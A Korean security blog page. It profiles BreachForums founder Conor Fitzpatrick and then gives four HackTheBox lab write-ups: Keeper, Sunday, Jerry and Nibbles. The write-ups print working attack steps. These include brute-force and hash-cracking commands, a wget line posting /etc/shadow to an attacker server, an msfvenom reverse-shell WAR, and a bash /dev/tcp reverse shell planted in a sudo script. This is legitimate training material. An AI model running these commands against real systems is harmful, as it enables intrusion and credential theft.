해커들의 아마존, BreachForums를 만든 자

다크웹 최대 데이터 거래 포럼 BreachForums를 설립한 Conor Brian Fitzpatrick. 340,000명 이상의 회원을 보유한 사이버 범죄 생태계를 구축했으나, FBI의 수사로 2023년 3월 체포됐다.

340K+

BreachForums 회원 수

2022

포럼 설립년도

20년

보호관찰 선고

체포

2023.03 · 미국

분류: Cybercriminal / Forum Operator 출처: DOJ · FBI · The Hacker News 최종 업데이트: 2026년 8월

신원 프로필

실명

Conor Brian Fitzpatrick

온라인 아이디

pompompurin

국적 / 나이

미국 / 21세 (체포 당시)

거주지

뉴욕 피시킬(Peekskill)

역할

BreachForums 설립자 · 관리자

포럼 규모

회원 340,000명 이상

체포

2023년 3월 — 미국 FBI

선고

20년 보호관찰 + 인터넷 사용 1년 금지

⚠️

충격적인 추가 혐의 — 아동 성착취물 소지

해킹 및 사기 혐의 외에 아동 성착취물 소지 혐의도 함께 적용됐다. 이는 사이버 범죄자 커뮤니티에서도 큰 충격을 주었으며, 법원은 이를 "매우 심각한 범죄"로 규정했다.

Conor Brian Fitzpatrick (pompompurin)
졸업 앨범 사진 — 출처: Yonkers Times

FBI가 BreachForums 도메인을 압수한 후 표시된 공식 압수 배너. pompompurin 아바타에 수갑이 채워진 이미지가 특징적이다. 출처: BleepingComputer / FBI

2023년 3월 15일 — FBI 요원들이 뉴욕 피시킬 Fitzpatrick 자택에서 증거물을 반출하는 장면. 출처: News 12 Westchester / Krebs on Security

BreachForums란?

BreachForums는 2022년 3월 Conor Fitzpatrick이 설립한 사이버 범죄 마켓플레이스다. Raid Forums 폐쇄 후 생긴 공백을 메우며 빠르게 최대 다크웹 데이터 거래 포럼으로 성장했다. 탈취 데이터, 해킹 도구, 취약점 정보, 크리덴셜 등이 거래됐으며 "해커들의 아마존"으로 불렸다.

포럼 설립 1년 만에 회원 340,000명을 달성했으며, Dell, DC Health Link, AT&T 등 대형 기업의 데이터가 이 플랫폼을 통해 유통됐다.

pompompurin 체포 소식에 당황한 BreachForums 회원들 — "FBI가 우리 정보 다 가져간 거 아니야?" 출처: Krebs on Security

타임라인

MAR2022

BreachForums 설립

Raid Forums 폐쇄 직후 설립. FBI의 법집행 포털을 사회공학으로 침투해 가짜 수배 공지 전송 — 첫 번째 주요 사건.

2022~23

급속 성장 — 340,000명 회원 달성

DC Health Link(미 의회 의원 정보), Twitter, AT&T 등 대형 기업 데이터가 BreachForums를 통해 유통. 사이버 범죄 생태계의 핵심 인프라로 자리잡음.

MAR2023

FBI 체포

뉴욕 피시킬 자택에서 체포. FBI는 그의 온라인 활동과 실제 신원을 연결하는 디지털 발자국을 추적. 체포 당시 21세.

JUL2023

유죄 인정 (Guilty Plea)

해킹 공모, 접근 장치 사기, 아동 성착취물 소지 3개 혐의 유죄 인정. $300,000 보석금으로 석방.

JAN2024

선고 — 20년 보호관찰

징역형 대신 20년 보호관찰 + 첫 1년 인터넷 사용 금지. 성범죄자 등록 의무. 판사: "이것은 매우 심각한 범죄다."

⚖️

기소 혐의

해킹 공모 (Conspiracy to Commit Access Device Fraud)

BreachForums 운영을 통한 조직적 사이버 범죄 공모.

최대 형량: 5년

접근 장치 사기 (Access Device Fraud)

탈취 크리덴셜 및 데이터 거래 플랫폼 운영.

최대 형량: 10년

아동 성착취물 소지 (Possession of CSAM)

아동 성착취물 소지. 성범죄자 등록 의무 부과.

최대 형량: 10년

CTI 관점 교훈

pompompurin 사건의 교훈

포럼 운영자도 추적된다 — 사이버 범죄 인프라 운영자를 겨냥한 법집행이 강화되고 있다.

BreachForums의 데이터는 여전히 유통 중 — 포럼이 폐쇄됐어도 이미 공개된 데이터는 재유통된다. 지속적인 모니터링 필수.

미국 내 사이버 범죄자도 안전하지 않다 — 해외 도주 없이 미국에 거주하던 21세 청년이 체포됐다는 점에서 "미국 내 거주 = 상대적 안전"이라는 인식이 깨졌다.

실제 체포 현장 — FBI 요원 Conor Fitzpatrick 자택 링 카메라 영상 (2023.03.15)

참고 자료

DOJ 기소 발표 · The Hacker News "pompompurin Sentenced" · DarkOwl 2023 Cybercriminal Arrests · Krebs on Security

Keeper

ぜんあく — Wed, 26 Aug 2026 16:33:13 +0900

HackTheBox - Keeper Writeup

HackTheBox Writeup

Keeper

Linux 기반 Easy 머신 — Request Tracker 기본 자격증명 → SSH 접속 → CVE-2023-32784 KeePass 메모리 덤프 → PuTTY 키로 root 권한 획득

OS: Linux (Ubuntu)

난이도: Easy

CVE: CVE-2023-32784

IP: 10.129.229.41

Task 1 열린 TCP 포트 수

nmap으로 대상을 스캔하면 22번(SSH)과 80번(HTTP) 두 포트가 열려 있다.

nmap -sS -sC -sV --open -T4 keeper.htb

nmap — 22/tcp SSH, 80/tcp HTTP(nginx 1.18.0) 확인

ANSWER 2 (22/SSH, 80/HTTP)

Task 2 RT 기본 패스워드

80포트에 접속하면 tickets.keeper.htb/rt/ 로 연결되는 링크가 있다. /etc/hosts에 서브도메인을 추가 후 접속한다.

echo "10.129.229.41 keeper.htb tickets.keeper.htb" >> /etc/hosts

/etc/hosts 추가 — tickets.keeper.htb/rt/ 링크 발견

RT 4.4.4 로그인 페이지

RT 공식 문서에서 기본 자격증명을 확인한다. User: root, Pass: password

RT 공식 문서 — 기본 자격증명 확인

ANSWER password

Task 3 root 외 RT 사용자

RT 관리자로 로그인 후 Admin → Users에서 전체 유저 목록을 확인한다.

RT Admin Users — lnorgaard (Lise Nørgaard) 확인

ANSWER lnorgaard

Task 4 lnorgaard 패스워드

lnorgaard 유저 상세 페이지의 Comments 섹션에서 초기 패스워드를 발견한다.

lnorgaard 프로필 Comments — "Initial password set to Welcome2023!"

ANSWER Welcome2023!

User Flag

획득한 자격증명으로 SSH 접속 후 user.txt를 읽는다.

ssh lnorgaard@keeper.htb -p 22
# password: Welcome2023!
cat user.txt

lnorgaard SSH 접속 — user.txt 및 RT30000.zip 발견

Task 6 CVE ID (KeePass 메모리 덤프)

KeePass 메모리 덤프 관련 CVE를 검색한다.

Google 검색 — CVE-2023-32784 KeePass 메모리 덤프 취약점 확인

ANSWER CVE-2023-32784

Task 7 passcodes.kdbx 마스터 패스워드

홈 디렉토리에 RT30000.zip이 있다. Kali로 다운로드 후 압축 해제하면 KeePassDumpFull.dmp와 passcodes.kdbx가 나온다.

scp lnorgaard@keeper.htb:~/RT30000.zip .
unzip RT30000.zip

CVE-2023-32784 PoC를 이용해 메모리 덤프에서 마스터 패스워드를 추출한다.

git clone https://github.com/z-jxy/keepass_dump
cd keepass_dump
python3 keepass_dump.py -f KeePassDumpFull.dmp

RT30000.zip 다운로드 → 압축 해제 → keepass_dump 클론

keepass_dump — {UNKNOWN}dgrd med flde 추출 (첫 글자 마스킹)

추출된 문자열을 구글에서 검색해 전체 패스워드를 확인한다.

구글 검색 — rødgrød med fløde (덴마크어 디저트 이름)

ANSWER rødgrød med fløde

Task 8 Notes 섹션 첫 번째 줄

keepassxc로 passcodes.kdbx를 열면 root 항목의 Notes에 PuTTY 개인키가 저장되어 있다.

keepassxc passcodes.kdbx
# 마스터 패스워드: rødgrød med fløde

KeePassXC — root 항목 Notes에 PuTTY 개인키 확인

ANSWER PuTTY-User-Key-File-3: ssh-rsa

Root Flag

Notes의 PuTTY 키를 파일로 저장하고 OpenSSH 형식으로 변환한 뒤 root로 접속한다.

# Notes 내용을 root.ppk로 저장 후
puttygen root.ppk -O private-openssh -o root.pem
chmod 600 root.pem
ssh -i root.pem root@keeper.htb

root.ppk — PuTTY 개인키 파일

puttygen으로 OpenSSH 형식 변환 및 권한 설정

변환된 root.pem — RSA 개인키

root SSH 접속 성공 — root.txt 획득

Sunday

ぜんあく — Wed, 26 Aug 2026 14:50:52 +0900

HackTheBox - Sunday Writeup

HackTheBox Writeup

☀️ Sunday

Solaris 기반 Easy 머신 — Finger 서비스 유저 열거 → SSH 브루트포스 → shadow 파일 해시 크래킹 → sudo 권한 상승

OS: Solaris

난이도: Easy

IP: 10.129.48.62

주요 서비스: Finger, SSH(22022)

Task 1 Finger 서비스가 실행 중인 TCP 포트

nmap으로 스캔하면 79번 포트에서 finger 서비스가 동작 중임을 확인할 수 있다.

nmap -sS -sC -sV --open -T4 sunday.htb

nmap — 79/tcp finger, 111/tcp rpcbind, 515/tcp printer 확인

ANSWER 79

Task 2 Finger 열거로 발견한 pts 유저 수

finger-user-enum.pl로 유저를 열거한다. SSH 로그인 이력(pts)이 있는 유저만 유효한 계정이다.

# finger-user-enum.pl 다운로드
wget https://raw.githubusercontent.com/pentestmonkey/finger-user-enum/master/finger-user-enum.pl
chmod +x finger-user-enum.pl

# 유저 열거 실행
./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.48.62 -w 50

finger-user-enum — sammy, sunny SSH 로그인 이력 확인

pts(SSH) 접속 이력이 있는 유저는 sammy와 sunny 두 명이다.

ANSWER 2 (sammy, sunny)

Task 3 sunny 계정 패스워드

전체 포트 스캔으로 SSH가 22022번 포트에서 동작 중임을 확인한다.

nmap -sV -p- 10.129.48.62 --min-rate 5000

nmap 전체 스캔 — 22022/tcp SSH, 6787/tcp HTTP 추가 확인

Metasploit의 ssh_login 모듈로 sunny 계정을 브루트포스한다.

use auxiliary/scanner/ssh/ssh_login
set USERNAME sunny
set RHOSTS 10.129.48.62
set RPORT 22022
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Metasploit ssh_login — 모듈 옵션 설정

브루트포스 성공 — sunny:sunday 자격증명 획득

ANSWER sunday

Task 4 sammy 계정 패스워드

sunny로 SSH 접속 후 /backup 디렉토리에서 shadow.backup 파일을 발견한다.

ssh sunny@10.129.48.62 -p 22022
cd /backup
cat shadow.backup

sunny SSH 접속 — Oracle Solaris 11.4.42.111.0

/backup/shadow.backup — sammy의 SHA-256 해시 발견

sammy의 해시를 추출해 john으로 크래킹한다.

echo '$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

john — SHA-256 해시 크래킹 성공 : cooldude!

ANSWER cooldude!

User Flag

sammy 계정으로 SSH 접속 후 user.txt를 읽는다.

ssh sammy@sunday.htb -p 22022
cat user.txt

sammy 홈 디렉토리 — user.txt 획득

Task 6 sunny가 sudo로 실행 가능한 바이너리

sudo -l
User sunny may run the following commands on sunday:
    (root) NOPASSWD: /root/troll

sunny sudo -l — /root/troll NOPASSWD 확인

ANSWER /root/troll

Task 7 sammy가 sudo로 실행 가능한 바이너리

sudo -l
User sammy may run the following commands on sunday:
    (root) NOPASSWD: /usr/bin/wget

sammy sudo -l — /usr/bin/wget NOPASSWD 확인

ANSWER /usr/bin/wget

Root Flag

wget의 -i 옵션으로 /root/root.txt를 URL로 읽어오면 에러 메시지에 파일 내용이 노출된다.

sudo wget -i /root/root.txt
-- http://[ROOT_FLAG_HASH]/
Resolving [ROOT_FLAG_HASH]... failed: temporary name resolution failure.

sudo wget -i /root/root.txt — 에러 메시지로 Root Flag 노출

Task 9 wget URL 목록 지정 플래그

ANSWER --input-file (-i)

Task 10 wget POST body 파일 전송 플래그

# shadow 파일을 공격자 서버로 전송
sudo wget --post-file=/etc/shadow http://10.10.15.56:8080/

ANSWER --post-file

Task 11 sudo 설정 파일 경로

ANSWER /etc/sudoers

Jerry

ぜんあく — Wed, 26 Aug 2026 10:52:41 +0900

HackTheBox - Jerry Writeup

HackTheBox Writeup

Jerry

Windows 기반 Easy 머신 — Apache Tomcat 기본 자격증명으로 관리자 접근 후 WAR 파일 업로드를 통한 RCE

OS: Windows

난이도: Easy

서비스: Apache Tomcat 7.0.88

IP: 10.129.48.57

Task 2 실행 중인 웹 서버

nmap으로 대상을 스캔하면 8080포트에서 웹 서버가 동작 중임을 확인할 수 있다.

nmap -sS -sC -sV --open -T4 jerry.htb

nmap — 8080/tcp Apache Tomcat/Coyote JSP engine 1.1 확인

8080포트에서 Apache Tomcat이 동작 중임을 확인한다. 버전은 7.0.88이다.

ANSWER Apache Tomcat

Task 3 웹 애플리케이션 관리자 경로

feroxbuster로 디렉토리를 탐색하면 관리자 페이지 경로를 발견할 수 있다.

feroxbuster -u http://10.129.136.9:8080/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt

feroxbuster — /manager/html (401) 경로 발견

/manager/html 경로가 401(인증 필요)로 응답한다. 관리자 페이지가 존재함을 확인했다.

ANSWER /manager/html

Task 4 관리자 자격증명

Metasploit의 tomcat_mgr_login 모듈로 기본 자격증명을 브루트포스한다.

msfconsole
search tomcat_mgr_login
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 10.129.48.57
set RPORT 8080
run

Metasploit — tomcat_mgr_login 모듈 옵션 설정

브루트포스 성공 — tomcat:s3cret 자격증명 획득

ANSWER tomcat:s3cret

Task 5 업로드 가능한 파일 형식

tomcat:s3cret로 /manager/html에 로그인하면 WAR 파일을 업로드하고 배포할 수 있는 기능이 있다.

Tomcat Manager — WAR file to deploy 섹션 확인

ANSWER WAR

초기 거점 확보 (Foothold)

msfvenom으로 리버스 쉘 WAR 파일을 생성하고 Tomcat Manager에 업로드한다.

# WAR 파일 생성
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=10.10.15.56 LPORT=4444 \
  -f war -o Jerry.war

# nc 리스너 실행
nc -lvnp 4444

msfvenom으로 Jerry.war 생성 및 nc 리스너 대기

Tomcat Manager에서 Jerry.war를 업로드하면 /shell 경로로 배포된다.

Tomcat Manager — /shell 애플리케이션 배포 완료

# 리버스 쉘 트리거
curl http://jerry.htb:8080/shell/

nc 리스너에 Windows 쉘 연결 — SYSTEM 권한 획득

Jerry는 Tomcat이 SYSTEM 권한으로 실행되기 때문에 별도의 권한 상승 없이 바로 Administrator 권한이다.

User Flag & Root Flag

Jerry 머신은 User Flag와 Root Flag가 하나의 파일에 함께 저장되어 있다.

cd C:\Users\Administrator\Desktop\flags
dir
type "2 for the price of 1.txt"

"2 for the price of 1.txt" — user.txt + root.txt 동시 획득

Nibbles

ぜんあく — Mon, 24 Aug 2026 16:44:18 +0900

HackTheBox - Nibbles Writeup

HackTheBox Writeup

Nibbles

Linux 기반 Easy 머신 — NibbleBlog CMS의 인증된 파일 업로드 취약점(CVE-2015-6967)을 이용한 RCE 및 sudo 권한 상승

OS: Linux

난이도: Easy

CVE: CVE-2015-6967

IP: 10.129.47.141

Task 1 열린 TCP 포트 수

nmap으로 대상의 열린 포트와 서비스를 스캔한다.

nmap -sS -sC -sV --open -T4 10.129.47.141

nmap 스캔 결과 — 22(SSH), 80(HTTP) 확인

22/tcp (OpenSSH 7.2p2)와 80/tcp (Apache 2.4.18) 두 포트가 열려 있다.

ANSWER 2 (22/SSH, 80/HTTP)

Task 2 블로그 경로

80포트 웹 서버에 접속하면 "Hello world!" 페이지만 표시된다. 소스를 확인하면 숨겨진 주석에서 경로를 발견할 수 있다.

메인 페이지 — 단순한 Hello world! 텍스트만 존재

# 브라우저에서 소스 보기
view-source:http://10.129.47.141/

소스 16번째 줄에  주석 발견

HTML 주석에 /nibbleblog/ 경로가 숨겨져 있다.

ANSWER /nibbleblog/

Task 3 CMS 종류

/nibbleblog/에 접속하면 블로그가 나타나며, 페이지 하단에서 "Powered by Nibbleblog" 문구를 확인할 수 있다. 또한 이후 feroxbuster 탐색 결과와 config.xml에서도 동일하게 확인된다.

ANSWER Nibbleblog

Task 4 admin 유저명이 담긴 XML 경로

feroxbuster로 /nibbleblog/ 하위를 xml 확장자 기준으로 탐색하면 여러 XML 파일을 발견한다. users.xml에 접근하면 관리자 계정 정보가 노출된다.

feroxbuster -u http://10.129.47.141/nibbleblog/ \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x xml

feroxbuster — /nibbleblog/ 하위 XML 파일들 발견, users.xml 확인

users.xml — username="admin" 확인 및 블랙리스트 정보

users.xml이 인증 없이 외부에 노출되어 있어 관리자 계정명을 직접 확인할 수 있다. 또한 블랙리스트 기능이 있어 브루트포스 시 IP가 차단된다.

ANSWER /nibbleblog/content/private/users.xml

Task 5 관리자 비밀번호

feroxbuster 결과에서 config.xml도 노출되어 있다. 접근하면 사이트 이름을 확인할 수 있다.

feroxbuster — config.xml 발견 (1936c 크기)

config.xml — 사이트 이름 "Nibbles" 확인

config.xml에서 사이트 이름이 Nibbles임을 확인한다. 구형 CMS는 사이트 이름을 그대로 비밀번호로 사용하는 경우가 많다.

브루트포스 주의: users.xml에서 확인했듯 블랙리스트 기능이 있어 여러 번 틀리면 IP가 차단된다. CeWL로 사이트 단어를 추출한 맞춤 wordlist 활용이 유리하다.

cewl http://10.129.47.141/nibbleblog/ -w wordlist.txt

feroxbuster로 admin.php 경로를 추가로 발견하고 로그인을 시도한다.

feroxbuster — /nibbleblog/admin.php 발견

admin.php — Nibbleblog 관리자 로그인 페이지

admin / nibbles로 로그인에 성공한다.

ANSWER nibbles

Task 6 NibbleBlog 버전

관리자 페이지 하단 Settings에서 버전을 확인한다.

관리자 패널 — Nibbleblog 4.0.3 "Coffee" 버전 확인

ANSWER 4.0.3

Task 7 CVE ID

"nibbleblog 4.0.3 cve"로 검색하면 My Image 플러그인의 파일 업로드 취약점이 확인된다.

Google 검색 — CVE-2015-6967 확인 (My Image 플러그인 임의 파일 업로드)

NibbleBlog 4.0.3의 My Image 플러그인은 업로드 파일 확장자 검증이 없어 PHP 파일 업로드 후 직접 접근으로 RCE가 가능하다.

ANSWER CVE-2015-6967

Task 8 실행 중인 유저

Metasploit의 nibbleblog_file_upload 모듈로 익스플로잇한다.

use exploit/multi/http/nibbleblog_file_upload
set RHOSTS 10.129.47.141
set TARGETURI /nibbleblog/
set USERNAME admin
set PASSWORD nibbles
set LHOST 10.10.15.56
set LPORT 4444
run

Metasploit — nibbleblog_file_upload 모듈 옵션 설정

Meterpreter 쉘 — nibbler 계정으로 접속, user.txt 획득

ANSWER nibbler

User Flag

cd /home/nibbler
cat user.txt

USER FLAG /home/nibbler/user.txt

Task 10 root로 실행 가능한 스크립트

shell로 전환 후 sudo -l로 권한을 확인한다.

shell
sudo -l
User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

sudo -l — monitor.sh를 root 권한으로 NOPASSWD 실행 가능 확인

personal.zip을 unzip하면 monitor.sh가 생성된다. 이 파일을 수정해 리버스 쉘을 삽입한다.

ANSWER monitor.sh

Task 11 monitor.sh 권한

unzip /home/nibbler/personal.zip -d /home/nibbler/
ls -la /home/nibbler/personal/stuff/monitor.sh
-rwxrwxrwx 1 nibbler nibbler ... monitor.sh

모든 사용자에게 읽기/쓰기/실행 권한이 부여되어 있어 내용을 자유롭게 수정할 수 있다.

ANSWER -rwxrwxrwx

Root Flag

monitor.sh에 리버스 쉘 페이로드를 덮어쓰고, nc 리스너를 켜둔 상태에서 sudo로 실행한다.

# 리버스 쉘 삽입
echo '#!/bin/bash' > /home/nibbler/personal/stuff/monitor.sh
echo 'bash -i >& /dev/tcp/10.10.15.56/5555 0>&1' >> /home/nibbler/personal/stuff/monitor.sh

# 리스너 (별도 터미널)
nc -lvnp 5555

# sudo로 실행
sudo /home/nibbler/personal/stuff/monitor.sh

root 쉘 획득 — cat /root/root.txt로 Root Flag 확인

cat /root/root.txt

ROOT FLAG /root/root.txt